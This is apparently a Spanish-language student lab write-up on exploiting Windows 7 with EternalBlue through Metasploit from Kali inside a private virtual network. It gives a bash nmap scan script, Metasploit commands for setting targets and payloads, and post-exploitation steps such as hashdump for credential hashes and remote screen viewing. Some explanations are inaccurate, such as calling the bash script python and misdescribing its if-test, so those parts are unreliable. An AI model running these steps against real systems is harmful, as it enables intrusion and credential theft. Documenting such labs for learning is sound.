eternalblue

·

6 min read

eternalblue

Uso del exploit “eternalblue” desde METASPLOIT.

Voy a ejecutar el famoso exploit eternalblue desde mi máquina atacante con Sistema operativo Kali hacia dos máquinas víctimas, una con S:O metasploitable y otra con S.O windows7. Para realizar este ataque he motado una pequeña red /24.

Las ips serán las siguentes:

Voy a realizar las siguientes tareas:

  • Creación y uso de un script en bash para escanear puertos abiertos.

  • Uso de la herramienta nmap.

  • Empleo de Metasploit para hacer uso del exploit EternalBlue.

Explicación de lo que hace el script linea por línea.

#!/bin/bash

test -f /usr/bin/nmap

if [ "$(echo $?)" == "0" ]; then

echo "Las dependencias están satisfechas"

else

echo "Hay que instalar dependencias" && apt update >/dev/null && apt install nmap -y >/dev/null && echo "Dependencias instaladas"

fi

ip=$1

nmap -p- -sCV --open -sS --min-rate 5000 -vvv -n -Pn $ip oN scan

Comienza con test -f que hace referencia a la ruta que le sicgue, en concreto lo que está haciendo es comprobar que existe esea ruta. Que es donde se encuentra instalada la herramienta nmap por defecto.

Comienza un una sentencia if, diciendo que si el primer parametro es igual a cero, pues entonces que saque el mensaje que esta entre comillas, queriendo decir que no tiene la ip del target, si nos sacara ese mensaje sabemos que nos falta ese dato, por que no ha llegado a conectar bien, por alguna razón, la que sea.

Si no es asi, lanza el mensaje contrario, todo esta correcto, y hace una actualización del sistema, mandadndo los errores al /dev/null para que no los saque por pantalla, instala nmap (en caso de no exista) si es asi , saca por pantalla el mensaje “Dependencias instaladas”

acaba, hace una llamada a $1 que contiene el valor de la ip y lanza un nmap

con los parametros

-p- puertos

-sCV escaneo que me muestra la versión del servicio

--open por que se refiere solo a los puertos con estado open

-sS hace un sondeo syn , es el más rápido, no deja trazas de conexión

--min-rate 5000 con un valor de la velocidad de 5000

-vvv triple verbose incrementa el nivel de detalle

-n no realiza resolucion de nombres (DNS)

-Pn desabilita el host discovery

$ip la variable que llama a la ip que usa el equipo objetivo del escaneo.

-oN Solicita que la salida normal sea redirigida al archivo especificado.

Nos ha reportado un poco lo que ya sabiamos que hay un host al que estamos conectados (por que hemos apagado la otra máquina para no consumir demasiados recursos del equipo real)

Con el siguiente escaneo, afino más en la busqueda, ya que se que tiene el puerto 445 abierto y voy a comprobar si es vulnerable a algún exploit en concreto.

Vemos que en el puerto 445 está corriendo el servivio microsoft-ds

Hacemos una busqueda por internet sobre este servicio que hemos encontrado.

Y vemos que es vulnerable a ejecución remota de comandos.

Lo siguiente será usar Metasploit. Como vemos en Kali, en la sección de Herramientas de explotación tenemos Metasplot.

Al abrilo vemos que nos ha cambiado el promt

Es por que estamos dentro de la herramienta escribimos search ethernalblue.

\> search ethernalblue

Ahora tendremos que elegir que exploit utilizar, escribinedo el numero al que están asociados, probaré con eternalblue que esta asignado al numero 0

Al elegir el expliot nos ha vuelto a cambiar el promt, a comtinuacion le indicamos el remote host, es decir la ip de la máquina víctima.

\> set RHOST 192.168.1.2

Le indicamos el local host, que es la máquina kali y el puerto por el que lanzaremos el ataque, es importate que el puerto no este ocupado por los los servicios más comunes.

\> set LHOST 192.168.1.1

\> set LPORT 4444

Finalmennte procedo a lanzar el ataque.

\> run

Vemos que aunque al principio del ataque nos mostraba que si existia esta vulnerabilidad presente en el sistema, ahora nos dice que no es vulnerable.

Porcedo a lanzarlo a la otra máquina, windows 7 en este caso.

Vuelvo a comenzar, ahora mi máquina objetivo es una windows 7 que se que es vulnerable al exploit ms17_010_eternalblue

comienzo escaneando todos los puertos de la ip 192.168.1.3, de la maquina victima.

Sé que la vulnerabilidad que busco es una vunerabilidad de samba que corre por el puerto 445. Me muestra en ecaneo que el puerto esta filtrado.

Abro metasploit y vuelvo a repetir los mismos pasos busco el exploit eternalblue

no consigo lanzar el exploit.

Voy a asegurarme de que en efecto estan los puertos en escucha, puede que me falle por este motivo.

Me aseguro de desactivar el firewall de windows y le hago un netstat -a para ver el estado de todos los puertos.

En kali lanzo un escaneo de puertos con nmap que me muestra la versión y los servicios que están corriendo en cada uno de ellos

compruebo que el puerto que voy a atacar el 445 esta abierto y en estado listening en ambas máquinas.

Además estaba usando mal metasploit, ya que no le había especificado el payload a utilizar. Voy a usar meterpreter.

asigno remote host, local host, puerto en escucha y payload

Primero pensé que como eran dos máquina virtuales conectadas en red interna, protocolos como http no estarian funcionando, al principio tuve muchos problemas por que no consegía explotar la vulnerabilidad.

Así que empecé a lanzar uno por uno todos los payloads de meterpreter hasta que uno me conectó y consegí ejecución remota de comandos.

Compruebo que estoy dentro escribo en la terminal sysinfo y me puestra que estoy en Windows 7

Ahoramismo estoy en la terminal de kali ejecuanto comandos remotos en la máquina Windows7.

Tengo una movilidad reducida por que he entrado como el usuario usuario, es decir un usuario normal sin privilegios.

Con el comando help veo los coamdos que puedo ejecutar.

\>hashsump

Con hashdump me dumpeo los identificadores de los usuarios creados en el sistema.

Con el comando screenshare, puedo ver en tiempo real la pantalla de windows7 desde la maquina atacante, kali.

Conclusión:

He conseguido ganar acceso como usuario normal sin privilegios en la máquina windows7 ejecutando el exploit Eternalblue desde Metasploit en Kali.

Lo siguiente en un entorno real sería escalar privilegios para llegar a ser Administrador y tener el control completo de la máquina.

Sin embargo, el objetivo de esta prática esta conseguido. Hemos probado el escaneo de puertos atrvés de un script escrito en python, hemos probado diferentes comandos de escaneo con nmap y se ha utilizado la herramienta Metasploit para vulnerar la máquina windows 7 haciendo uso del exploit EternalBlue.